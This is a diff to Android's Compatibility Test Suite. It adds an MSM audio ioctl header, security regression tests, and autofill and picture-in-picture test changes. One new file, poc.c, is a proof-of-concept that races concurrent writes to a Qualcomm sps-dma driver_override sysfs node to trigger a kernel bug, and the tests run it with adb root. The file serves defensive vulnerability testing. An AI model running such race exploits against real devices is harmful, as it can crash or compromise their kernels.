+#define AUDIO_GET_EVENT _IOR(AUDIO_IOCTL_MAGIC, 13, struct msm_audio_event)
+#define AUDIO_ABORT_GET_EVENT _IOW(AUDIO_IOCTL_MAGIC, 14, unsigned)
+#define AUDIO_REGISTER_PMEM _IOW(AUDIO_IOCTL_MAGIC, 15, unsigned)
+#define AUDIO_DEREGISTER_PMEM _IOW(AUDIO_IOCTL_MAGIC, 16, unsigned)
+#define AUDIO_ASYNC_WRITE _IOW(AUDIO_IOCTL_MAGIC, 17, struct msm_audio_aio_buf)
+#define AUDIO_ASYNC_READ _IOW(AUDIO_IOCTL_MAGIC, 18, struct msm_audio_aio_buf)
+#define AUDIO_SET_INCALL _IOW(AUDIO_IOCTL_MAGIC, 19, struct msm_voicerec_mode)
+#define AUDIO_GET_NUM_SND_DEVICE _IOR(AUDIO_IOCTL_MAGIC, 20, unsigned)
+#define AUDIO_GET_SND_DEVICES \
+ _IOWR(AUDIO_IOCTL_MAGIC, 21, struct msm_snd_device_list)
+#define AUDIO_ENABLE_SND_DEVICE _IOW(AUDIO_IOCTL_MAGIC, 22, unsigned)
+#define AUDIO_DISABLE_SND_DEVICE _IOW(AUDIO_IOCTL_MAGIC, 23, unsigned)
+#define AUDIO_ROUTE_STREAM \
+ _IOW(AUDIO_IOCTL_MAGIC, 24, struct msm_audio_route_config)
+#define AUDIO_GET_PCM_CONFIG _IOR(AUDIO_IOCTL_MAGIC, 30, unsigned)
+#define AUDIO_SET_PCM_CONFIG _IOW(AUDIO_IOCTL_MAGIC, 31, unsigned)
+#define AUDIO_SWITCH_DEVICE _IOW(AUDIO_IOCTL_MAGIC, 32, unsigned)
+#define AUDIO_SET_MUTE _IOW(AUDIO_IOCTL_MAGIC, 33, unsigned)
+#define AUDIO_UPDATE_ACDB _IOW(AUDIO_IOCTL_MAGIC, 34, unsigned)
+#define AUDIO_START_VOICE _IOW(AUDIO_IOCTL_MAGIC, 35, unsigned)
+#define AUDIO_STOP_VOICE _IOW(AUDIO_IOCTL_MAGIC, 36, unsigned)
+#define AUDIO_REINIT_ACDB _IOW(AUDIO_IOCTL_MAGIC, 39, unsigned)
+#define AUDIO_OUTPORT_FLUSH _IOW(AUDIO_IOCTL_MAGIC, 40, unsigned short)
+#define AUDIO_SET_ERR_THRESHOLD_VALUE \
+ _IOW(AUDIO_IOCTL_MAGIC, 41, unsigned short)
+#define AUDIO_GET_BITSTREAM_ERROR_INFO \
+ _IOR(AUDIO_IOCTL_MAGIC, 42, struct msm_audio_bitstream_error_info)
+
+#define AUDIO_SET_SRS_TRUMEDIA_PARAM _IOW(AUDIO_IOCTL_MAGIC, 43, unsigned)
+
+/* Qualcomm extensions */
+#define AUDIO_SET_STREAM_CONFIG \
+ _IOW(AUDIO_IOCTL_MAGIC, 80, struct msm_audio_stream_config)
+#define AUDIO_GET_STREAM_CONFIG \
+ _IOR(AUDIO_IOCTL_MAGIC, 81, struct msm_audio_stream_config)
+#define AUDIO_GET_SESSION_ID _IOR(AUDIO_IOCTL_MAGIC, 82, unsigned short)
+#define AUDIO_GET_STREAM_INFO \
+ _IOR(AUDIO_IOCTL_MAGIC, 83, struct msm_audio_bitstream_info)
+#define AUDIO_SET_PAN _IOW(AUDIO_IOCTL_MAGIC, 84, unsigned)
+#define AUDIO_SET_QCONCERT_PLUS _IOW(AUDIO_IOCTL_MAGIC, 85, unsigned)
+#define AUDIO_SET_MBADRC _IOW(AUDIO_IOCTL_MAGIC, 86, unsigned)
+#define AUDIO_SET_VOLUME_PATH _IOW(AUDIO_IOCTL_MAGIC, 87, struct msm_vol_info)
+#define AUDIO_SET_MAX_VOL_ALL _IOW(AUDIO_IOCTL_MAGIC, 88, unsigned)
+#define AUDIO_ENABLE_AUDPRE _IOW(AUDIO_IOCTL_MAGIC, 89, unsigned)
+#define AUDIO_SET_AGC _IOW(AUDIO_IOCTL_MAGIC, 90, unsigned)
+#define AUDIO_SET_NS _IOW(AUDIO_IOCTL_MAGIC, 91, unsigned)
+#define AUDIO_SET_TX_IIR _IOW(AUDIO_IOCTL_MAGIC, 92, unsigned)
+#define AUDIO_GET_BUF_CFG _IOW(AUDIO_IOCTL_MAGIC, 93, struct msm_audio_buf_cfg)
+#define AUDIO_SET_BUF_CFG _IOW(AUDIO_IOCTL_MAGIC, 94, struct msm_audio_buf_cfg)
+#define AUDIO_SET_ACDB_BLK \
+ _IOW(AUDIO_IOCTL_MAGIC, 95, struct msm_acdb_cmd_device)
+#define AUDIO_GET_ACDB_BLK \
+ _IOW(AUDIO_IOCTL_MAGIC, 96, struct msm_acdb_cmd_device)
+
+#define AUDIO_REGISTER_ION \
+ _IOW(AUDIO_IOCTL_MAGIC, 97, struct msm_audio_ion_info)
+#define AUDIO_DEREGISTER_ION \
+ _IOW(AUDIO_IOCTL_MAGIC, 98, struct msm_audio_ion_info)
+#define AUDIO_SET_EFFECTS_CONFIG \
+ _IOW(AUDIO_IOCTL_MAGIC, 99, struct msm_hwacc_effects_config)
+#define AUDIO_EFFECTS_SET_BUF_LEN \
+ _IOW(AUDIO_IOCTL_MAGIC, 100, struct msm_hwacc_buf_cfg)
+#define AUDIO_EFFECTS_GET_BUF_AVAIL \
+ _IOW(AUDIO_IOCTL_MAGIC, 101, struct msm_hwacc_buf_avail)
+#define AUDIO_EFFECTS_WRITE _IOW(AUDIO_IOCTL_MAGIC, 102, void *)
+#define AUDIO_EFFECTS_READ _IOWR(AUDIO_IOCTL_MAGIC, 103, void *)
+#define AUDIO_EFFECTS_SET_PP_PARAMS _IOW(AUDIO_IOCTL_MAGIC, 104, void *)
+
+#define AUDIO_PM_AWAKE _IOW(AUDIO_IOCTL_MAGIC, 105, unsigned)
+#define AUDIO_PM_RELAX _IOW(AUDIO_IOCTL_MAGIC, 106, unsigned)
+
+#define AUDIO_MAX_COMMON_IOCTL_NUM 107
+
+#define HANDSET_MIC 0x01
+#define HANDSET_SPKR 0x02
+#define HEADSET_MIC 0x03
+#define HEADSET_SPKR_MONO 0x04
+#define HEADSET_SPKR_STEREO 0x05
+#define SPKR_PHONE_MIC 0x06
+#define SPKR_PHONE_MONO 0x07
+#define SPKR_PHONE_STEREO 0x08
+#define BT_SCO_MIC 0x09
+#define BT_SCO_SPKR 0x0A
+#define BT_A2DP_SPKR 0x0B
+#define TTY_HEADSET_MIC 0x0C
+#define TTY_HEADSET_SPKR 0x0D
+
+/* Default devices are not supported in a */
+/* device switching context. Only supported */
+/* for stream devices. */
+/* DO NOT USE */
+#define DEFAULT_TX 0x0E
+#define DEFAULT_RX 0x0F
+
+#define BT_A2DP_TX 0x10
+
+#define HEADSET_MONO_PLUS_SPKR_MONO_RX 0x11
+#define HEADSET_MONO_PLUS_SPKR_STEREO_RX 0x12
+#define HEADSET_STEREO_PLUS_SPKR_MONO_RX 0x13
+#define HEADSET_STEREO_PLUS_SPKR_STEREO_RX 0x14
+
+#define I2S_RX 0x20
+#define I2S_TX 0x21
+
+#define ADRC_ENABLE 0x0001
+#define EQUALIZER_ENABLE 0x0002
+#define IIR_ENABLE 0x0004
+#define QCONCERT_PLUS_ENABLE 0x0008
+#define MBADRC_ENABLE 0x0010
+#define SRS_ENABLE 0x0020
+#define SRS_DISABLE 0x0040
+
+#define AGC_ENABLE 0x0001
+#define NS_ENABLE 0x0002
+#define TX_IIR_ENABLE 0x0004
+#define FLUENCE_ENABLE 0x0008
+
+#define VOC_REC_UPLINK 0x00
+#define VOC_REC_DOWNLINK 0x01
+#define VOC_REC_BOTH 0x02
+
+struct msm_audio_config {
+ uint32_t buffer_size;
+ uint32_t buffer_count;
+ uint32_t channel_count;
+ uint32_t sample_rate;
+ uint32_t type;
+ uint32_t meta_field;
+ uint32_t bits;
+ uint32_t unused[3];
+};
+
+struct msm_audio_stream_config {
+ uint32_t buffer_size;
+ uint32_t buffer_count;
+};
+
+struct msm_audio_buf_cfg {
+ uint32_t meta_info_enable;
+ uint32_t frames_per_buf;
+};
+
+struct msm_audio_stats {
+ uint32_t byte_count;
+ uint32_t sample_count;
+ uint32_t unused[2];
+};
+
+struct msm_audio_ion_info {
+ int fd;
+ void *vaddr;
+};
+
+struct msm_audio_pmem_info {
+ int fd;
+ void *vaddr;
+};
+
+struct msm_audio_aio_buf {
+ void *buf_addr;
+ uint32_t buf_len;
+ uint32_t data_len;
+ void *private_data;
+ unsigned short mfield_sz; /*only useful for data has meta field */
+};
+
+/* Audio routing */
+
+#define SND_IOCTL_MAGIC 's'
+
+#define SND_MUTE_UNMUTED 0
+#define SND_MUTE_MUTED 1
+
+struct msm_mute_info {
+ uint32_t mute;
+ uint32_t path;
+};
+
+struct msm_vol_info {
+ uint32_t vol;
+ uint32_t path;
+};
+
+struct msm_voicerec_mode {
+ uint32_t rec_mode;
+};
+
+struct msm_snd_device_config {
+ uint32_t device;
+ uint32_t ear_mute;
+ uint32_t mic_mute;
+};
+
+#define SND_SET_DEVICE _IOW(SND_IOCTL_MAGIC, 2, struct msm_device_config *)
+
+enum cad_device_path_type {
+ CAD_DEVICE_PATH_RX, /*For Decoding session*/
+ CAD_DEVICE_PATH_TX, /* For Encoding session*/
+ CAD_DEVICE_PATH_RX_TX, /* For Voice call */
+ CAD_DEVICE_PATH_LB, /* For loopback (FM Analog)*/
+ CAD_DEVICE_PATH_MAX
+};
+
+struct cad_devices_type {
+ uint32_t rx_device;
+ uint32_t tx_device;
+ enum cad_device_path_type pathtype;
+};
+
+struct msm_cad_device_config {
+ struct cad_devices_type device;
+ uint32_t ear_mute;
+ uint32_t mic_mute;
+};
+
+#define CAD_SET_DEVICE _IOW(SND_IOCTL_MAGIC, 2, struct msm_cad_device_config *)
+
+#define SND_METHOD_VOICE 0
+#define SND_METHOD_MIDI 4
+
+struct msm_snd_volume_config {
+ uint32_t device;
+ uint32_t method;
+ uint32_t volume;
+};
+
+#define SND_SET_VOLUME _IOW(SND_IOCTL_MAGIC, 3, struct msm_snd_volume_config *)
+
+struct msm_cad_volume_config {
+ struct cad_devices_type device;
+ uint32_t method;
+ uint32_t volume;
+};
+
+#define CAD_SET_VOLUME _IOW(SND_IOCTL_MAGIC, 3, struct msm_cad_volume_config *)
+
+/* Returns the number of SND endpoints supported. */
+
+#define SND_GET_NUM_ENDPOINTS _IOR(SND_IOCTL_MAGIC, 4, unsigned *)
+
+struct msm_snd_endpoint {
+ int id; /* input and output */
+ char name[64]; /* output only */
+};
+
+/* Takes an index between 0 and one less than the number returned by
+ * SND_GET_NUM_ENDPOINTS, and returns the SND index and name of a
+ * SND endpoint. On input, the .id field contains the number of the
+ * endpoint, and on exit it contains the SND index, while .name contains
+ * the description of the endpoint.
+ */
+
+#define SND_GET_ENDPOINT _IOWR(SND_IOCTL_MAGIC, 5, struct msm_snd_endpoint *)
+
+#define SND_AVC_CTL _IOW(SND_IOCTL_MAGIC, 6, unsigned *)
+#define SND_AGC_CTL _IOW(SND_IOCTL_MAGIC, 7, unsigned *)
+
+/*return the number of CAD endpoints supported. */
+
+#define CAD_GET_NUM_ENDPOINTS _IOR(SND_IOCTL_MAGIC, 4, unsigned *)
+
+struct msm_cad_endpoint {
+ int id; /* input and output */
+ char name[64]; /* output only */
+};
+
+/* Takes an index between 0 and one less than the number returned by
+ * SND_GET_NUM_ENDPOINTS, and returns the CAD index and name of a
+ * CAD endpoint. On input, the .id field contains the number of the
+ * endpoint, and on exit it contains the SND index, while .name contains
+ * the description of the endpoint.
+ */
+
+#define CAD_GET_ENDPOINT _IOWR(SND_IOCTL_MAGIC, 5, struct msm_cad_endpoint *)
+
+struct msm_audio_pcm_config {
+ uint32_t pcm_feedback; /* 0 - disable > 0 - enable */
+ uint32_t buffer_count; /* Number of buffers to allocate */
+ uint32_t buffer_size; /* Size of buffer for capturing of
+ PCM samples */
+};
+
+#define AUDIO_EVENT_SUSPEND 0
+#define AUDIO_EVENT_RESUME 1
+#define AUDIO_EVENT_WRITE_DONE 2
+#define AUDIO_EVENT_READ_DONE 3
+#define AUDIO_EVENT_STREAM_INFO 4
+#define AUDIO_EVENT_BITSTREAM_ERROR_INFO 5
+
+#define AUDIO_CODEC_TYPE_MP3 0
+#define AUDIO_CODEC_TYPE_AAC 1
+
+struct msm_audio_bitstream_info {
+ uint32_t codec_type;
+ uint32_t chan_info;
+ uint32_t sample_rate;
+ uint32_t bit_stream_info;
+ uint32_t bit_rate;
+ uint32_t unused[3];
+};
+
+struct msm_audio_bitstream_error_info {
+ uint32_t dec_id;
+ uint32_t err_msg_indicator;
+ uint32_t err_type;
+};
+
+union msm_audio_event_payload {
+ struct msm_audio_aio_buf aio_buf;
+ struct msm_audio_bitstream_info stream_info;
+ struct msm_audio_bitstream_error_info error_info;
+ int reserved;
+};
+
+struct msm_audio_event {
+ int event_type;
+ int timeout_ms;
+ union msm_audio_event_payload event_payload;
+};
+
+#define MSM_SNDDEV_CAP_RX 0x1
+#define MSM_SNDDEV_CAP_TX 0x2
+#define MSM_SNDDEV_CAP_VOICE 0x4
+
+struct msm_snd_device_info {
+ uint32_t dev_id;
+ uint32_t dev_cap; /* bitmask describe capability of device */
+ char dev_name[64];
+};
+
+struct msm_snd_device_list {
+ uint32_t num_dev; /* Indicate number of device info to be retrieved */
+ struct msm_snd_device_info *list;
+};
+
+struct msm_dtmf_config {
+ uint16_t path;
+ uint16_t dtmf_hi;
+ uint16_t dtmf_low;
+ uint16_t duration;
+ uint16_t tx_gain;
+ uint16_t rx_gain;
+ uint16_t mixing;
+};
+
+#define AUDIO_ROUTE_STREAM_VOICE_RX 0
+#define AUDIO_ROUTE_STREAM_VOICE_TX 1
+#define AUDIO_ROUTE_STREAM_PLAYBACK 2
+#define AUDIO_ROUTE_STREAM_REC 3
+
+struct msm_audio_route_config {
+ uint32_t stream_type;
+ uint32_t stream_id;
+ uint32_t dev_id;
+};
+
+#define AUDIO_MAX_EQ_BANDS 12
+
+struct msm_audio_eq_band {
+ uint16_t band_idx; /* The band index, 0 .. 11 */
+ uint32_t filter_type; /* Filter band type */
+ uint32_t center_freq_hz; /* Filter band center frequency */
+ uint32_t filter_gain; /* Filter band initial gain (dB) */
+ /* Range is +12 dB to -12 dB with 1dB increments. */
+ uint32_t q_factor;
+} __attribute__((packed));
+
+struct msm_audio_eq_stream_config {
+ uint32_t enable; /* Number of consequtive bands specified */
+ uint32_t num_bands;
+ struct msm_audio_eq_band eq_bands[AUDIO_MAX_EQ_BANDS];
+} __attribute__((packed));
+
+struct msm_acdb_cmd_device {
+ uint32_t command_id;
+ uint32_t device_id;
+ uint32_t network_id;
+ uint32_t sample_rate_id; /* Actual sample rate value */
+ uint32_t interface_id; /* See interface id's above */
+ uint32_t algorithm_block_id; /* See enumerations above */
+ uint32_t total_bytes; /* Length in bytes used by buffer */
+ uint32_t *phys_buf; /* Physical Address of data */
+};
+
+struct msm_hwacc_data_config {
+ __u32 buf_size;
+ __u32 num_buf;
+ __u32 num_channels;
+ __u8 channel_map[8];
+ __u32 sample_rate;
+ __u32 bits_per_sample;
+};
+
+struct msm_hwacc_buf_cfg {
+ __u32 input_len;
+ __u32 output_len;
+};
+
+struct msm_hwacc_buf_avail {
+ __u32 input_num_avail;
+ __u32 output_num_avail;
+};
+
+struct msm_hwacc_effects_config {
+ struct msm_hwacc_data_config input;
+ struct msm_hwacc_data_config output;
+ struct msm_hwacc_buf_cfg buf_cfg;
+ __u32 meta_mode_enabled;
+ __u32 overwrite_topology;
+ __s32 topology;
+};
+
+#endif
diff --git a/hostsidetests/security/securityPatch/Bug-35676417/poc.c b/hostsidetests/security/securityPatch/Bug-35676417/poc.c
new file mode 100644
index 0000000..0807183
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-35676417/poc.c
@@ -0,0 +1,114 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <string.h>
+#include <stdlib.h>
+#include <unistd.h>
+
+#include <errno.h>
+#include <fcntl.h>
+#include <linux/ion.h>
+#include <pthread.h>
+#include <stdio.h>
+#include <sys/mman.h>
+#include <sys/socket.h>
+#include <sys/stat.h>
+#include <sys/time.h>
+#include <sys/types.h>
+
+#include "local_poc.h"
+
+#define MAX_THREAD 1
+int fd;
+int cmd;
+int status[MAX_THREAD];
+char *buf;
+
+void *threadEntry(void *arg) {
+ int ret;
+ int index = (int)(unsigned long)arg;
+
+ if (index < 0 || index >= MAX_THREAD) goto failed;
+
+ status[index] = 1;
+
+ while (cmd == 0) {
+ usleep(10);
+ }
+
+ if (cmd == -1) goto failed;
+
+ usleep(10);
+ write(fd, buf, 64);
+failed:
+ status[index] = 2;
+ return NULL;
+}
+
+int main(int argc, char **argv) {
+ int ret, i;
+ pthread_t tid[MAX_THREAD];
+ int pc = 2;
+
+ int count = 0;
+
+ while (pc-- > 0) fork();
+
+ buf = (char *)malloc(4096);
+ if (!buf) return -1;
+
+ memset(buf, 0x0, 4096);
+ for (i = 0; i < 62; i++) buf[i] = 'g';
+
+retry:
+ cmd = 0;
+ for (i = 0; i < MAX_THREAD; i++) status[i] = 0;
+
+ fd = open("/sys/devices/soc/7544000.qcom,sps-dma/driver_override", O_WRONLY);
+ if (fd < 0) {
+ return -1;
+ }
+
+ for (i = 0; i < MAX_THREAD; i++) {
+ ret = pthread_create(&tid[i], NULL, threadEntry, (void *)(unsigned long)i);
+ if (ret != 0) {
+ cmd = -1;
+ goto failed;
+ }
+ }
+
+ while (status[0] != 1) {
+ usleep(50);
+ }
+
+ cmd = 1;
+ usleep(10);
+ ret = write(fd, buf, 64);
+ while (status[0] != 2) {
+ usleep(50);
+ }
+
+failed:
+ count++;
+ close(fd);
+ if (count < 1000) {
+ goto retry;
+ }
+ return 0;
+}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_07.java b/hostsidetests/security/src/android/security/cts/Poc17_07.java
index 936eb01..5c9349d 100644
--- a/hostsidetests/security/src/android/security/cts/Poc17_07.java
+++ b/hostsidetests/security/src/android/security/cts/Poc17_07.java
@@ -128,4 +128,23 @@
AdbUtils.runPocNoOutput("Bug-35139833", getDevice(), 60);
}
}
+
+ /**
+ * b/35468048
+ */
+ @SecurityTest
+ public void testPocBug_35468048() throws Exception {
+ enableAdbRoot(getDevice());
+ infoDisclosure("Bug-35468048", getDevice(), 60, "[\\s\\n\\S]*read succeeded: [0-9]+" +
+ " bytes[\\s][\\S]{3} content: 0x[0-9]+. 0x[0-9]+[\\s\\n\\S]*", true );
+ }
+
+ /**
+ * b/35470735
+ */
+ @SecurityTest
+ public void testPocBug_35470735() throws Exception {
+ enableAdbRoot(getDevice());
+ AdbUtils.runPocNoOutput("Bug-35470735", getDevice(), 60);
+ }
}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_09.java b/hostsidetests/security/src/android/security/cts/Poc17_09.java
new file mode 100644
index 0000000..051c589
--- /dev/null
+++ b/hostsidetests/security/src/android/security/cts/Poc17_09.java
@@ -0,0 +1,45 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+@SecurityTest
+public class Poc17_09 extends SecurityTestCase {
+
+ /**
+ * b/33039685
+ */
+ @SecurityTest
+ public void testPocBug_33039685() throws Exception {
+ enableAdbRoot(getDevice());
+ if (containsDriver(getDevice(), "/sys/kernel/debug/pci-msm/")) {
+ AdbUtils.runPocNoOutput("Bug-33039685", getDevice(), 60);
+ }
+ }
+
+ /**
+ * b/35676417
+ */
+ @SecurityTest
+ public void testPocBug_35676417() throws Exception {
+ enableAdbRoot(getDevice());
+ if (containsDriver(getDevice(), "/sys/devices/soc/7544000.qcom,sps-dma/driver_override")) {
+ AdbUtils.runPocNoOutput("Bug-35676417", getDevice(), 60);
+ }
+ }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AlwaysFocusablePipActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AlwaysFocusablePipActivity.java
index 84b4b45..b6c0667 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AlwaysFocusablePipActivity.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AlwaysFocusablePipActivity.java
@@ -22,13 +22,18 @@
import android.app.Activity;
import android.app.ActivityOptions;
import android.content.Intent;
+import android.content.pm.PackageManager;
import android.graphics.Rect;
public class AlwaysFocusablePipActivity extends Activity {
- static void launchAlwaysFocusablePipActivity(Activity caller) {
+ static void launchAlwaysFocusablePipActivity(Activity caller, boolean newTask) {
final Intent intent = new Intent(caller, AlwaysFocusablePipActivity.class);
- intent.setFlags(FLAG_ACTIVITY_CLEAR_TASK | FLAG_ACTIVITY_NEW_TASK);
+
+ intent.setFlags(FLAG_ACTIVITY_CLEAR_TASK);
+ if (newTask) {
+ intent.addFlags(FLAG_ACTIVITY_NEW_TASK);
+ }
final ActivityOptions options = ActivityOptions.makeBasic();
options.setLaunchBounds(new Rect(0, 0, 500, 500));
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchIntoPinnedStackPipActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchIntoPinnedStackPipActivity.java
index 23298a0..86c4834 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchIntoPinnedStackPipActivity.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchIntoPinnedStackPipActivity.java
@@ -22,6 +22,6 @@
@Override
protected void onResume() {
super.onResume();
- AlwaysFocusablePipActivity.launchAlwaysFocusablePipActivity(this);
+ AlwaysFocusablePipActivity.launchAlwaysFocusablePipActivity(this, true /* newTask */);
}
}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchPipOnPipActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchPipOnPipActivity.java
index 1b9b729..d0b47b0 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchPipOnPipActivity.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchPipOnPipActivity.java
@@ -17,11 +17,13 @@
package android.server.cts;
import android.app.Activity;
+import android.content.pm.PackageManager;
public class LaunchPipOnPipActivity extends Activity {
@Override
public void onPictureInPictureModeChanged(boolean isInPictureInPictureMode) {
super.onPictureInPictureModeChanged(isInPictureInPictureMode);
- AlwaysFocusablePipActivity.launchAlwaysFocusablePipActivity(this);
+ AlwaysFocusablePipActivity.launchAlwaysFocusablePipActivity(this,
+ getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK));
}
}
diff --git a/hostsidetests/theme/README b/hostsidetests/theme/README
index 38baf10..64ca416 100644
--- a/hostsidetests/theme/README
+++ b/hostsidetests/theme/README
@@ -32,15 +32,29 @@
Reference images are typically only generated for new API revisions. To
generate a new set of reference images, do the following:
- 1. Connect one device for each DPI bucket (ldpi, xxxhdpi, etc.) that you wish
- to generate references images for. Confirm that all devices are connected
- with:
+ 1. Obtain the emulator image for the current platform. You can either build
+ these from scratch (not recommended) via:
+
+ make PRODUCT-sdk_phone_x86_64-sdk sdk_repo -j32
+
+ Or obtain them from the sdk-repo-linux-system-images-<build-id>.zip
+ artifact from the sdk_phone_x86_64-sdk build server target.
+
+ 2. Start one AVD emulator image for each DPI bucket (ldpi, xxxhdpi, etc.)
+ that you wish to generate references images for. Anecdotally, up to three
+ emulators can run reliably at the same time. Confirm that all emulators
+ are connected with:
adb devices
- 2. Image generation occurs on all devices in parallel. Resulting sets of
- reference images are saved in assets/<platform>/<dpi>.zip and will
- overwrite any existing sets. Image generation may be started using:
+ 3. Set up your build environment for x86_64 and build CTS:
+
+ lunch sdk_x86_64-eng && make cts -j32
+
+ 2. Generate the reference images. Generation occurs on all devices in
+ parallel. Resulting sets of reference images are automatically saved in
+ assets/<platform>/<dpi>.zip and will overwrite any existing sets. Image
+ generation may be started using:
./cts/hostsidetests/theme/generate_images.sh
diff --git a/tests/autofillservice/Android.mk b/tests/autofillservice/Android.mk
index f4437f7..27a8cb5 100644
--- a/tests/autofillservice/Android.mk
+++ b/tests/autofillservice/Android.mk
@@ -23,6 +23,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
LOCAL_STATIC_JAVA_LIBRARIES := \
+ android-support-annotations \
compatibility-device-util \
ctstestrunner \
truth-prebuilt \
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
index 15d1052..209b043 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
@@ -16,16 +16,17 @@
package android.autofillservice.cts;
+import static android.autofillservice.cts.Helper.getContext;
import static android.autofillservice.cts.Helper.getLoggingLevel;
import static android.autofillservice.cts.Helper.hasAutofillFeature;
import static android.autofillservice.cts.Helper.runShellCommand;
import static android.autofillservice.cts.Helper.setLoggingLevel;
+import static android.autofillservice.cts.InstrumentedAutoFillService.SERVICE_NAME;
import static android.provider.Settings.Secure.AUTOFILL_SERVICE;
import static com.google.common.truth.Truth.assertWithMessage;
import android.autofillservice.cts.InstrumentedAutoFillService.Replier;
-import android.content.Context;
import android.content.pm.PackageManager;
import android.support.test.InstrumentationRegistry;
import android.support.test.runner.AndroidJUnit4;
@@ -39,6 +40,8 @@
import org.junit.Rule;
import org.junit.runner.RunWith;
+import java.util.List;
+
/**
* Base class for all other tests.
*/
@@ -46,10 +49,6 @@
abstract class AutoFillServiceTestCase {
private static final String TAG = "AutoFillServiceTestCase";
- private static final String SERVICE_NAME =
- InstrumentedAutoFillService.class.getPackage().getName()
- + "/." + InstrumentedAutoFillService.class.getSimpleName();
-
protected static UiBot sUiBot;
protected static final Replier sReplier = InstrumentedAutoFillService.getReplier();
@@ -82,30 +81,16 @@
@AfterClass
public static void resetSettings() {
- runShellCommand("settings delete secure %s", AUTOFILL_SERVICE);
- }
-
- @Before
- public void disableService() {
if (!hasAutofillFeature()) return;
- if (!isServiceEnabled()) return;
-
- final OneTimeSettingsListener observer = new OneTimeSettingsListener(getContext(),
- AUTOFILL_SERVICE);
+ // Clean up only - no need to call disableService() because it doesn't need to fail if
+ // it's not reset.
runShellCommand("settings delete secure %s", AUTOFILL_SERVICE);
- observer.assertCalled();
- assertServiceDisabled();
-
- InstrumentedAutoFillService.setIgnoreUnexpectedRequests(false);
}
@Before
public void reset() {
- destroyAllSessions();
sReplier.reset();
- InstrumentedAutoFillService.resetStaticState();
- AuthenticationActivity.resetStaticState();
}
@Before
@@ -136,9 +121,18 @@
// exceptions would mask the real cause. A better approach might be using a @Rule or some other
// visitor pattern.
@After
- public void assertNoPendingRequests() {
- sReplier.assertNumberUnhandledFillRequests(0);
- sReplier.assertNumberUnhandledSaveRequests(0);
+ public void assertNothingIsPending() throws Exception {
+ final MultipleExceptionsCatcher catcher = new MultipleExceptionsCatcher()
+ .run(() -> sReplier.assertNumberUnhandledFillRequests(0))
+ .run(() -> sReplier.assertNumberUnhandledSaveRequests(0));
+
+ final List<Exception> replierExceptions = sReplier.getExceptions();
+ if (replierExceptions != null) {
+ for (Exception e : replierExceptions) {
+ catcher.add(e);
+ }
+ }
+ catcher.throwIfAny();
}
@After
@@ -150,13 +144,18 @@
* Enables the {@link InstrumentedAutoFillService} for autofill for the current user.
*/
protected void enableService() {
- if (isServiceEnabled()) return;
+ Helper.enableAutofillService(getContext(), SERVICE_NAME);
+ InstrumentedAutoFillService.setIgnoreUnexpectedRequests(false);
+ }
- final OneTimeSettingsListener observer = new OneTimeSettingsListener(getContext(),
- AUTOFILL_SERVICE);
- runShellCommand("settings put secure %s %s default", AUTOFILL_SERVICE, SERVICE_NAME);
- observer.assertCalled();
- assertServiceEnabled();
+ /**
+ * Disables the {@link InstrumentedAutoFillService} for autofill for the current user.
+ */
+ protected void disableService() {
+ if (!hasAutofillFeature()) return;
+
+ Helper.disableAutofillService(getContext(), SERVICE_NAME);
+ InstrumentedAutoFillService.setIgnoreUnexpectedRequests(true);
}
/**
@@ -182,19 +181,7 @@
assertWithMessage("Dangling sessions ('%s'): %s'", command, result).that(result).isEmpty();
}
- /**
- * Destroys all sessions.
- */
- protected void destroyAllSessions() {
- runShellCommand("cmd autofill destroy sessions");
- assertNoDanglingSessions();
- }
-
- protected static Context getContext() {
- return InstrumentationRegistry.getInstrumentation().getContext();
- }
-
- protected static RemoteViews createPresentation(String message) {
+ protected RemoteViews createPresentation(String message) {
final RemoteViews presentation = new RemoteViews(getContext()
.getPackageName(), R.layout.list_item);
presentation.setTextViewText(R.id.text1, message);
